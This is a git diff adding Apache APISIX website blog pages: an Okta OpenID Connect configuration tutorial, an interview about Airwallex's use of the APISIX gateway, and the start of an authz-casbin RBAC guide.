+<p>Unlike traditional authentication, the centralized identity mode removes user authentication from the application services. Take Apache APISIX as an example; you can see the centralized identity authentication process in the figure below.</p>
+<p>First, the user initiates a request, then the gateway itself takes charge of the user authentication process, interacting with the identity provider and sending them an authorization request. The identity provider returns user identity information (user info). After the gateway identifies the user, it forwards the user identity information (user info) to the services in a request header.</p>
+<p><img src="https://static.apiseven.com/202108/1639467122244-d4292436-c5ce-48f6-b1d5-67645f24fbc9.png" alt="Centralized Identity Authentication work flow"></p>
+<p>Compared with the traditional authentication mode, centralized identity mode has the following advantages:</p>
+<ol>
+<li>Centralized auth simplifies the application development process, and reduces the development application workload and maintenance costs by avoiding the need to repeat the development of authentication code for each application.</li>
+<li>Centralized authentication mode improves business security. At the gateway level, it can intercept unauthenticated requests in time to protect back-end applications.</li>
+</ol>
+<h2 id="what-is-openid-connect">What is OpenID Connect</h2>
+<p>OpenID Connect (OIDC) is a centralized identity authentication mode. The benefit of using OpenID Connect is that users only need to register and log in with one OpenID Connect identity provider’s website and use one account’s password information to access different applications. <a href="https://developer.okta.com/">Okta</a> is a common OpenID Connect identity provider, and the Apache APISIX OpenID Connect plugin supports OpenID. As a result, the plugin can replace traditional authen [...]
+<h3 id="openid-authentication-process">OpenID Authentication Process</h3>
+<p><img src="https://static.apiseven.com/202108/1639467187923-71854ddb-65fd-4a90-8bd0-242b47a8624b.png" alt="OpenID Authentication Process"></p>
+<ol>
+<li>APISIX initiates an authentication request to the Identity Provider.</li>
+<li>The user logs in and authenticates on the Identity Provider.</li>
+<li>The Identity Provider returns to APISIX with the Authorization Code.</li>
+<li>APISIX requests the Identity Provider with the Code extracted from the request parameters.</li>
+<li>The Identity Provider sends an answer message to APISIX with the ID Token and Access Token.</li>
+<li>APISIX sends the Access Token to the Identity Provider’s User Endpoint for authentication.</li>
+<li>After passing the authentication, the User Endpoint sends the User Info to APISIX to complete authentication.</li>
+</ol>
+<h2 id="how-to-configure-okta-authentication-using-the-apache-apisix-openid-connect-plug-in">How to Configure Okta Authentication Using the Apache APISIX OpenID Connect Plug-in</h2>
+<p>Configuring Okta authentication using the Apache APISIX OpenID Connect plugin is a simple three-step process that allows you to switch from traditional authentication to centralized identity authentication mode. The following sections describe the steps to configure Okta authentication using the OpenID Connect plug-in for Apache APISIX.</p>
+<h3 id="prerequisites">Prerequisites</h3>
+<p>Have an Okta account ready for use.</p>
+<h3 id="step-1-configuring-okta">Step 1: Configuring Okta</h3>
+<ol>
+<li>Log in to your Okta account and click “Create App Integration” to create an Okta application.
+<img src="https://static.apiseven.com/202108/1639467243454-ac16645a-4a8a-426f-93a2-e840cae3c502.png" alt="Create App Integration"></li>
+<li>Select “OIDC-OpenID Connect” for the Sign-in method, and select “Web Application” for the Application type.
+<img src="https://static.apiseven.com/202108/1639467299429-0ea741a7-95fd-43b5-a0c4-25a7026e62d2.png" alt="Create a new App Integration"></li>
+<li>Set the redirect URL for login and logout. The “Sign-in redirect URIs” are links a user can go to after a successful login, and the “Sign-out redirect URIs” are links a user goes to after a successful logout. In this example, we set both sign-in and sign-out redirect URIs to <code>http://127.0.0.1:9080/</code>.
+<img src="https://static.apiseven.com/202108/1639467390099-e9594a05-7e78-4f20-a902-7c4ca2c302fb.png" alt="Set the redirect URL for login and logout"></li>
+<li>After finishing the settings, click “Save” to save the changes.
+<img src="https://static.apiseven.com/202108/1639467449049-628d7796-0d8e-4ed9-8334-5ba7f0fb32f4.png" alt="save the changes"></li>
+<li>Visit the General page of the application to obtain the following configuration, which is required to configure Apache APISIX OpenID Connect.</li>
+</ol>
+<ul>
+<li>Client ID: OAuth client ID, the application ID, which corresponds to client_id and {YOUR_CLIENT_ID} below.</li>
+<li>Client secret: OAuth client secret, the application key, which corresponds to client_secret and {YOUR_CLIENT_SECRET} below.</li>
+<li>Okta domain: The domain name used by the application, corresponding to {YOUR_ISSUER} below.</li>
+</ul>
+<p><img src="https://static.apiseven.com/202108/1639467501106-d95bf8ad-db47-4918-ac70-424b12488e5b.png" alt="obtain configuration"></p>
+<h3 id="step-2-install-apache-apisix">Step 2: Install Apache APISIX</h3>
+<h4 id="install-dependencies">Install dependencies</h4>
+<p>The Apache APISIX runtime environment requires dependencies on NGINX and etcd.</p>
+<p>Before installing Apache APISIX, please install dependencies according to the operating system you are using. We provide the dependencies installation instructions for CentOS7, Fedora 31 and 32, Ubuntu 16.04 and 18.04, Debian 9 and 10, and macOS. Please refer to <a href="https://apisix.apache.org/docs/apisix/install-dependencies/">Install Dependencies</a> for more details.</p>
+<h4 id="installation-via-rpm-package-centos-7">Installation via RPM Package (CentOS 7)</h4>
+<p>This installation method is suitable for CentOS 7; please run the following command to install Apache APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">sudo</span><span style="color:#A5D6FF"> yum</span><span style="color:#A5D6FF"> install</span><span style="color:#79C0FF"> -y</span><span style="color:#A5D6FF"> https://github.com/apache/apisix/releases/download/2.7/apisix-2.7-0.x86_64.rpm</span></span></code></pre>
+<h4 id="installation-via-docker">Installation via Docker</h4>
+<p>Please refer to <a href="https://hub.docker.com/r/apache/apisix">Installing Apache APISIX with Docker</a>.</p>
+<h4 id="installation-via-helm-chart">Installation via Helm Chart</h4>
+<p>Please refer to <a href="https://github.com/apache/apisix-helm-chart">Installing Apache APISIX with Helm Chart</a>.</p>
+<h4 id="installation-via-source-release">Installation via source release</h4>
+<ol>
+<li>Create a directory named <code>apisix-2.7</code>.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">mkdir</span><span style="color:#A5D6FF"> apisix-2.7</span></span></code></pre>
+<ol start="2">
+<li>Download Apache APISIX Release source package.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">wget</span><span style="color:#A5D6FF"> https://downloads.apache.org/apisix/2.7/apache-apisix-2.7-src.tgz</span></span></code></pre>
+<p>You can also download the Apache APISIX release source package from the Apache APISIX website. The <a href="https://apisix.apache.org/downloads/">Apache APISIX Official Website - Download Page</a> also provides source packages for Apache APISIX, APISIX Dashboard, and APISIX Ingress Controller.</p>
+<ol start="3">
+<li>Unzip the Apache APISIX Release source package.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">tar</span><span style="color:#A5D6FF"> zxvf</span><span style="color:#A5D6FF"> apache-apisix-2.7-src.tgz</span><span style="color:#79C0FF"> -C</span><span style="color:#A5D6FF"> apisix-2.7</span></span></code></pre>
+<ol start="4">
+<li>Install the runtime-dependent Lua libraries.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># Switch to the apisix-2.7 directory</span></span>
+<span class="line"><span style="color:#79C0FF">cd</span><span style="color:#A5D6FF"> apisix-2.7</span></span>
+<span class="line"><span style="color:#8B949E"># Create dependencies</span></span>
+<span class="line"><span style="color:#FFA657">make</span><span style="color:#A5D6FF"> deps</span></span></code></pre>
+<h4 id="initializing-dependencies">Initializing Dependencies</h4>
+<p>Run the following command to initialize the NGINX configuration file and etcd.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># initialize NGINX config file and etcd</span></span>
+<span class="line"><span style="color:#FFA657">make</span><span style="color:#A5D6FF"> init</span></span></code></pre>
+<h3 id="step-3-start-apache-apisix-and-configure-the-corresponding-route">Step 3: Start Apache APISIX and Configure the Corresponding Route</h3>
+<ol>
+<li>Run the following command to start Apache APISIX.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">apisix</span><span style="color:#A5D6FF"> start</span></span></code></pre>
+<ol start="2">
+<li>Create a route and configure the OpenID Connect plugin. The following code example creates a route through the Apache APISIX Admin API, setting the upstream path to httpbin.org, a simple backend service for receiving and responding to requests. The following will use the get page of httpbin.org. Please refer to <a href="http://httpbin.org/#/HTTP_Methods/get_get">http bin get</a> for more information. For specific configuration items, please refer to the <a href="https://apisix.apache [...]
+</ol>
+<p>The OpenID Connect configuration fields are listed below:</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th align="left">Field</th><th align="left">Default Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">client_id</td><td align="left">""</td><td align="left">OAuth client ID.</td></tr><tr><td align="left">client_secret</td><td align="left">""</td><td align="left">OAuth client secret.</td></tr><tr><td align="left">discovery</td><td align="left">""</td><td align="left">Service discovery endpoints for identity providers.</td></tr><tr><td al [...]
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -XPOST</span><span style="color:#A5D6FF"> 127.0.0.1:9080/apisix/admin/routes</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "X-Api-Key: edd1c9f034335f136f87ad84b625c8f1"</span><span style="color:#79C0FF"> -d</span><span style=" [...]
+<span class="line"><span style="color:#A5D6FF"> "uri":"/*",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "openid-connect":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "client_id":"{YOUR_CLIENT_ID}",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "client_secret":"{YOUR_CLIENT_SECRET}",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "discovery":"https://{YOUR_ISSUER}/.well-known/openid-configuration",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "scope":"openid profile",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "bearer_only":false,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "realm":"master",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "introspection_endpoint_auth_method":"client_secret_post",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "redirect_uri":"http://127.0.0.1:9080/"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type":"roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "httpbin.org:80":1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<h3 id="step-4-access-apache-apisix">Step 4: Access Apache APISIX</h3>
+<ol>
+<li>Visit “<a href="http://127.0.0.1:9080/get">http://127.0.0.1:9080/get</a>” and the page is redirected to the Okta login page because the OpenID Connect plugin is enabled.
+<img src="https://static.apiseven.com/202108/1639467566395-2a049b96-3b1f-4e74-93f0-d6ea2f52a72e.png" alt="visit Okta login page"></li>
+<li>Enter the username and password for the user’s Okta account and click “Sign In” to log in to your Okta account.</li>
+<li>After successful login, you can access the get page in “httpbin.org”. The “httpbin.org/get” page will return the requested data with X-Access-Token,X-Id-Token, and X-Userinfo as follows.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="sh"><code><span class="line"><span style="color:#FFA657">"X-Access-Token"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "******Y0RPcXRtc0FtWWVuX2JQaFo1ZVBvSlBNdlFHejN1dXY5elV3IiwiYWxnIjoiUlMyNTYifQ.***TVER3QUlPbWZYSVRzWHRxRWh2QUtQMWRzVDVGZHZnZzAiLCJpc3MiOiJodHRwczovL3FxdGVzdG1hbi5va3RhLmNvbSIsImF1ZCI6Imh0dHBzOi8vcXF0ZXN0bWFuLm9 [...]
+<span class="line"><span style="color:#FFA657">"X-Id-Token"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "******aTdDRDJnczF5RnlXMUtPZUtuSUpQdyIsImFtciI6WyJwd2QiXSwic3ViIjoiMDB1YTA1ZWNkRmZXS0xLdW82OTUiLCJpc3MiOiJodHRwczpcL1wvcXF0ZXN0bWFuLm9rdGEuY29tIiwiYXVkIjoiMG9hMTFnOGQ4N08wRkNHWGc2OTYiLCJuYW1lIjoiUGV0ZXIgWmh1IiwianRpIjoiSUQuNGdvZWo4OGUyX2RuWUI1VmFMeUt2djNTdVJTQWhGNS0tM2l3Z0p5TTcxTSIsInZlciI6MSwicHJlZmVycmVkX3VzZXJuYW1lIjoiMjgzMDE4Nzk5QHFxLmNvbSIsImV4cCI6MTYyOD [...]
+<span class="line"><span style="color:#FFA657">"X-Userinfo"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*****lfbmFtZSI6IlpodSIsImxvY2FsZSI6ImVuLVVTIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiMjgzMDE4Nzk5QHFxLmNvbSIsInVwZGF0ZWRfYXQiOjE2MjgwNzA1ODEsInpvbmVpbmZvIjoiQW1lcmljYVwvTG9zX0FuZ2VsZXMiLCJzdWIiOiIwMHVhMDVlY2RGZldLTEt1bzY5NSIsImdpdmVuX25hbWUiOiJQZXRlciIsIm5hbWUiOiJQZXRl****"</span></span></code></pre>
+<p><strong>X-Access-Token</strong>: Apache APISIX puts the access token obtained from the user provider into the X-Access-Token request header, optionally via the access_token_in_authorization_header in the plugin configuration Authorization request header.</p>
+<p><img src="https://static.apiseven.com/202108/1639467626264-980605e2-0b21-4512-9e2c-af71950fcf99.png" alt="X-Access-Token"></p>
+<p><strong>X-Id-Token</strong>: Apache APISIX will get the Id token from the user provider through the base64 encoding into the X-Id-Token request header, you can choose whether to enable this function through the set_id_token_header in the plugin configuration, the default is enabled.</p>
+<p><img src="https://static.apiseven.com/202108/1639467682902-ada726b8-b46b-460d-8313-ef47b38d13ab.png" alt="X-Id-Token"></p>
+<p><strong>X-Userinfo</strong>: Apache APISIX will get the user information from the user provider and put it into X-Userinfo after encoding it with Base64, you can choose whether to enable this feature through set_userinfo_header in the plugin configuration, it is set to be on by default.</p>
+<p><img src="https://static.apiseven.com/202108/1639467730566-fc8a8a76-a3aa-4b8e-bb13-505b50839877.png" alt="X-Userinfo"></p>
+<p>As you can see, Apache APISIX will carry the X-Access-Token, X-Id-Token, and X-Userinfo request headers to the upstream. The upstream can parse these headers to get the user IDid information and user metadata.</p>
+<p>We have shown the process of building centralized identity authentication from Okta directly into the Apache APISIX Gateway. It is easy to sign up for a free Okta Developer Account to get started. Our approach reduces developer overhead and enables a safe and streamlined experience.</p>
+<h2 id="about-okta">About Okta</h2>
+<p>Okta is a customizable, secure, and drop-in solution to add authentication and authorization services to your applications. Get scalable authentication built right into your application without the development overhead, security risks, and maintenance that come from coding it yourself. You can connect any application in any language or on any stack to Okta and define how you want your users to sign in. Each time a user tries to authenticate, Okta will verify their identity and send th [...]
+<h2 id="about-apache-apisix">About Apache APISIX</h2>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway. Apache APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more. You can use Apache APISIX to handle traditional north-south traffic, as well as east-west traffic between services. It can also be used as a k8s ingress controller.</p>
+<p>Hundreds of companies worldwide have used Apache APISIX, covering finance, internet, manufacturing, retail, operators, such as NASA, the European Union’s Digital Factory, TravelSky, Tencent, Huawei, Weibo, China Mobile, Taikang, 360 , etc.</p>
+<p>Github: <a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></p>
+<p>Website: <a href="https://apisix.apache.org">https://apisix.apache.org</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://ww [...]
\ No newline at end of file
diff --git a/blog/2021/08/17/interview-airwallex/index.html b/blog/2021/08/17/interview-airwallex/index.html
new file mode 100644
index 00000000000..460199109e3
--- /dev/null
+++ b/blog/2021/08/17/interview-airwallex/index.html
@@ -0,0 +1,70 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Interview with Yang to explore API gateway in Airwallex | Apache APISIX</title><meta name="description" content="This article introduces why SkyCloud chooses API gateway Apache APISIX and the usage scenarios and production environment performance of APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/b [...]
+<p>This article interviewed Airwallex Technical Platform Lead Yang Li, who is responsible for the evolution of the company’s technology platform. The interview details why Airwallex chose Apache APISIX when making the technology selection, the usage scenarios of Apache APISIX in Airwallex, and the performance of Apache APISIX in the production environment.</p>
+</blockquote>
+<!--truncate-->
+<p>We had a chance to interview Yang Li, the technical platform leader of Airwallex. In the interview, Yang Li talked about why he chose Apache APISIX in the technology selection, and the application of Apache APISIX in Airwallex.</p>
+<p><strong>Q: Hello Dr. Li, please briefly introduce yourself and the work you are currently engaged in.</strong></p>
+<p><strong>Yang</strong>: Hi, my name is Yang Li, PhD, Apache APISIX Committer, Airwallex Technical Platform Lead, responsible for the evolution of the company’s technology platform. Prior to joining Airwallex, I led the Ops Chain Alliance at Wanxiang Blockchain. Prior to Wanxiang Blockchain, he led the OTC derivatives risk control platform at Citigroup.</p>
+<p>Airwallex is a global financial technology company that empowers businesses of all sizes to operate across borders, thereby helping to grow the global economy. With technology at its core, Airwallex has built a proprietary global financial infrastructure platform with a global payment network covering more than 50 currencies in over 130 countries and regions, providing digital fintech products for businesses of all sizes to help them grow at high speed around the world in a more effic [...]
+<p><img src="https://static.apiseven.com/202108/20210816001.png" alt="Airwallex Li Yang"></p>
+<p><strong>Q: What made you/your technical team choose to use Apache APISIX when making the technology selection?</strong></p>
+<p><strong>Yang</strong>: API gateway is an extremely important basic technology component, and we compared the main gateway products in 6 main dimensions during the technology selection.</p>
+<ul>
+<li>
+<p><strong>Stability</strong>: The stability of the API gateway is critical. 62.1% of the top 1000 websites in the world are Nginx-based, which means that the Nginx-based web server has been tested in complex and diverse scenarios in production environments; Apache APISIX’s fully dynamic design also allows it to modify routes without having to reload, and the client’s long links are maintained. The fully dynamic design of Apache APISIX also allows it to maintain long links to clients wit [...]
+</li>
+<li>
+<p><strong>Performance</strong>: Every API request passes through the API gateway, and reducing gateway performance loss can greatly reduce the overall response time of the company’s API. In our PoC comparison of the major gateway products, Apache APISIX has more than 50% lower response latency than other gateways; the design of the Apache APISIX data plane also makes each instance in the cluster independent of each other, which also makes it inherently support horizontal scaling.</p>
+</li>
+<li>
+<p><strong>Scalability</strong>: The API gateway model is a very important microservice architecture model, and API gateways that conform to the API gateway model must support complex enterprise features such as authentication, permission control, service discovery, flow restriction, degradation, load balancing, whitelisting, dynamic routing, etc. So what kind of customization is supported is a very critical consideration when choosing an API gateway.</p>
+</li>
+<li>
+<p><strong>Community Activity</strong>: New technologies and requirements are emerging all the time, and an active community is key for API gateways to keep pace with the evolution of technology. As early as when Apache APISIX was an Apache incubation project, its community was already very active, in terms of contributor count, issue response time, and Pull Request count.</p>
+</li>
+<li>
+<p><strong>Private Deployment</strong>: As a core technology architecture component, API gateways should be deployed at the edge of an enterprise’s private network. Apache APISIX has good environmental adaptability and can be easily deployed on various environments, including cloud computing platforms.</p>
+</li>
+<li>
+<p><strong>Open Source Protocol</strong>: Apache 2.0 gives considerable technical freedom to enterprises that customize APISIX.</p>
+</li>
+</ul>
+<p><strong>Q: What scenarios is Apache APISIX used in? What problems have been solved?</strong></p>
+<p><strong>Yang</strong>: We use Apache APISIX as a core component of our microservice gateway model, which is deployed at the edge of the network to provide common gateway functionality for all traffic coming into Airwallex, solving problems such as</p>
+<ul>
+<li>
+<p>Data sovereignty issues: Data sovereignty is a very critical regulatory requirement for financial infrastructures that operate across borders. To this end, we developed a regulatory compliant dynamic routing plug-in using the Apache APISIX dynamic upstream selection feature. Dynamic routing can intelligently select upstreams for request distribution based on the characteristics of user requests, abstracting the complex multi-data center collaboration problem from the service layer to [...]
+</li>
+<li>
+<p>Microservice Isolation: Airwallex wants the engineering teams of each microservice to have autonomous control over their own services, effectively reducing the cost of communication and coordination and improving engineering effectiveness. This architectural concept requires that infrastructure components shared by teams, such as API Gateway, support multi-tenant isolation. While ensuring the robustness and cost control of the whole system, it allows business teams to configure and ex [...]
+</li>
+<li>
+<p>Tenant-level flow limit: In a multi-tenant environment, the traffic characteristics of each tenant are different. The same flow restriction for different tenants cannot meet the business needs, and tenant-level flow restriction can do more appropriate flow restriction based on user characteristics.</p>
+</li>
+<li>
+<p>Tenant-level whitelisting: In a multi-tenant environment, each tenant’s access IP is different. Single whitelist control cannot meet the needs of tenant-level security management. Tenant-level whitelisting allows each tenant to control its own whitelist and not worry about other users in the whitelist accessing its own resources.</p>
+</li>
+<li>
+<p>Authentication: API gateways should not only support request authentication, but also support dynamic key update, which is a key part of ensuring the security of user resources.</p>
+</li>
+<li>
+<p>The API gateway can verify whether the requesting user has sufficient authority to access the interface according to the routing configuration and intercept illegal traffic in the first place.</p>
+</li>
+</ul>
+<p><img src="https://static.apiseven.com/202108/20210816002.png" alt="Airwallex arch"></p>
+<p>It’s a bit more involved and can be simplified to make it clearer: !</p>
+<p><img src="https://static.apiseven.com/202108/20210816003.png" alt="Airwallex arch"></p>
+<p><strong>Q</strong></p><div></div><strong> you have a smooth upgrade process in Apache APISIX? Share your feelings or stories about the upgrade process.</strong><p></p>
+<p>In order to be able to upgrade to new versions of Apache APISIX at any time, we implemented the main features as custom plugins. This means that our code base is unlikely to conflict with the core Apache APISIX main Repo code, which helps us avoid code conflicts we might encounter. However, there are times when we need to modify the core code, at which point we try to implement these features in the open source community. When we discuss these features in the open source community, th [...]
+<p><strong>Q: How long has Apache APISIX been running in a production environment? How does it perform online?</strong></p>
+<p><strong>Yang</strong>: The production environment has been running for 15 months, and 99% of the response latency is within 23ms with dynamic routing, tenant-level flow restriction, tenant-level whitelisting, Authentication, Authorization, etc. The overall performance is very stable. Thanks to the excellent plug-in mechanism of Apache APISIX, we can add private plug-ins that meet business requirements with little modification to its core code. The complete testing system also further [...]
+<p><strong>Q: What are the shortcomings of Apache APISIX and what do you hope the community will build together to improve?</strong></p>
+<p><strong>Yang</strong>: Apache APISIX’s data-plane design brings it lossless horizontal scaling and extreme performance, but it also makes the routing configuration difficult to achieve forward compatibility, which brings some coordination difficulties for the release of new versions.</p>
+<p><strong>Q: What are the follow-up plans?</strong></p>
+<p><strong>Yang</strong>: The follow-up plan includes three main areas.</p>
+<ol>
+<li>using multi-layer networks to split different gateway logic into different tiers, such as distributing traffic based on data sovereignty with other gateway logic belonging to a different network tier.</li>
+<li>easy-to-read and easy-to-use route management is critical to the success or failure of the API gateway, although the gateway features will continue to iterate and increase, but the route management needs to be developer-friendly so that developers can easily understand what the gateway can do for him, how to configure and how to publish.</li>
+<li>Use request staining to help implement production environment testing. Implementing production environment testing with API gateway request staining can bring us flexibility and ease of use.</li>
+</ol>
+<p>Thank you, Dr. Li, and we look forward to more use cases and roles for Apache APISIX in Airwallex.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li [...]
\ No newline at end of file
diff --git a/blog/2021/08/18/auth-with-casbin-in-apache-apisix/index.html b/blog/2021/08/18/auth-with-casbin-in-apache-apisix/index.html
new file mode 100644
index 00000000000..0b73fe8a9f7
--- /dev/null
+++ b/blog/2021/08/18/auth-with-casbin-in-apache-apisix/index.html
@@ -0,0 +1,140 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>RBAC with Casbin in APISIX | Apache APISIX</title><meta name="description" content="Implement role-based access control in APISIX using the authz-casbin plugin. Step-by-step RBAC configuration guide."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/18/auth-with-casbin-in-apache-apisix/"><link r [...]
+<p>When we are using Apache APISIX, we may want to add complex authorization logic to our application. In this post, we will use the built-in Casbin plugin (authz-casbin) for Apache APISIX to implement a role-based access control (RBAC) model.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<h3 id="apache-apisix">Apache APISIX</h3>
+<p><a href="https://github.com/apache/apisix">Apache APISIX</a> is a dynamic, real-time, high-performance API gateway that provides load balancing, dynamic upstream, canary release, fine-grained routing, flow and speed limiting, service degradation, service meltdown, authentication, observability, and hundreds of other features. You can use Apache APISIX for traditional north-south traffic, as well as east-west traffic between services, or as a <a href="https://github.com/apache/apisix-i [...]
+<h3 id="casbin">Casbin</h3>
+<p><a href="https://casbin.org/zh-CN/">Casbin</a> is a powerful and efficient open source access control framework with a permission management mechanism that supports multiple access control models.</p>
+<h3 id="authz-casbin-plugin-introduction">authz-casbin plugin introduction</h3>
+<p>In the use of Apache APISIX, there is an implicit tension between route matching and request authorization: for higher granularity access control, higher granularity routes need to be configured to accurately identify requests and authorize them. In complex authorization model scenarios, this leads to an exponential increase in the number of routes, which increases the complexity of operations and maintenance.
+<a href="https://github.com/apache/apisix/blob/d9b928321fcdd12eef024df8c7c410424c1e0c8b/docs/en/latest/plugins/authz-casbin.md">authz-casbin</a> is a lua-casbin based Apache APISIX plugin that supports powerful authorization based on various access models. casbin is a powerful and efficient open source access control framework that supports ACL, RBAC, ABAC and other access control models. lua-casbin is a Lua version implementation of the Casbin access control framework.
+The authz-casbin plugin can decouple the two functions of route matching and request authorization very well. You can load various authorization access models into Apache APISIX and implement efficient and complex authorization models with the help of lua-casbin.</p>
+<p><strong>Note</strong>: If you want to implement authentication, you need to use other plugins or configure yourself to complete the authentication of the user’s identity, for example <a href="https://github.com/apache/apisix/blob/master/docs/zh/latest/plugins/jwt-auth.md">jwt-auth</a> plugin.</p>
+<h2 id="authz-casbin-usage-guide">authz-casbin Usage Guide</h2>
+<h3 id="create-a-model">Create a model</h3>
+<p>The authz-casbin plugin uses three parameters for authorization: subject, object and action. subject is the user name, which refers to the user in the request; object is the URL link that will be accessed, i.e. the resource that will be accessed; action is the action that is requested for authorization, such as read or write. (write).
+If we want to create a model to access three resources: /, /res1, /res2, we want a model like this</p>
+<p><img src="https://static.apiseven.com/202108/1639467795044-8676c5cb-00e0-48e1-b7b1-929e37c87b75.png" alt="authz-casbin example"></p>
+<p>In this model, all users, such as Jack, have access to the main page (/). And users like Alice and Bob with admin rights have access to all pages and resources (/res1, /res2, /). Thus, we need to restrict users without administrator privileges to access specific resources using the GET request method. The required model is as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#E6EDF3">[request_definition]</span></span>
+<span class="line"><span style="color:#FFA657">r</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> sub,</span><span style="color:#A5D6FF"> obj,</span><span style="color:#A5D6FF"> act</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">[policy_definition]</span></span>
+<span class="line"><span style="color:#FFA657">p</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> sub,</span><span style="color:#A5D6FF"> obj,</span><span style="color:#A5D6FF"> act</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">[role_definition]</span></span>
+<span class="line"><span style="color:#FFA657">g</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> _,</span><span style="color:#A5D6FF"> _</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">[policy_effect]</span></span>
+<span class="line"><span style="color:#FFA657">e</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> some</span><span style="color:#E6EDF3">(</span><span style="color:#FFA657">where</span><span style="color:#E6EDF3"> (p.eft </span><span style="color:#A5D6FF">==</span><span style="color:#A5D6FF"> allow</span><span style="color:#E6EDF3">))</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">[matchers]</span></span>
+<span class="line"><span style="color:#FFA657">m</span><span style="color:#A5D6FF"> =</span><span style="color:#E6EDF3"> (g(r.sub, </span><span style="color:#A5D6FF">p.sub</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">||</span><span style="color:#FFA657"> keyMatch(r.sub,</span><span style="color:#A5D6FF"> p.sub</span><span style="color:#E6EDF3">)) && </span><span style="color:#FFA657">keyMatch(r.obj,</span><span style="color:#A5D6FF"> p.obj</span><span [...]
+<h3 id="create-a-policy">Create a policy</h3>
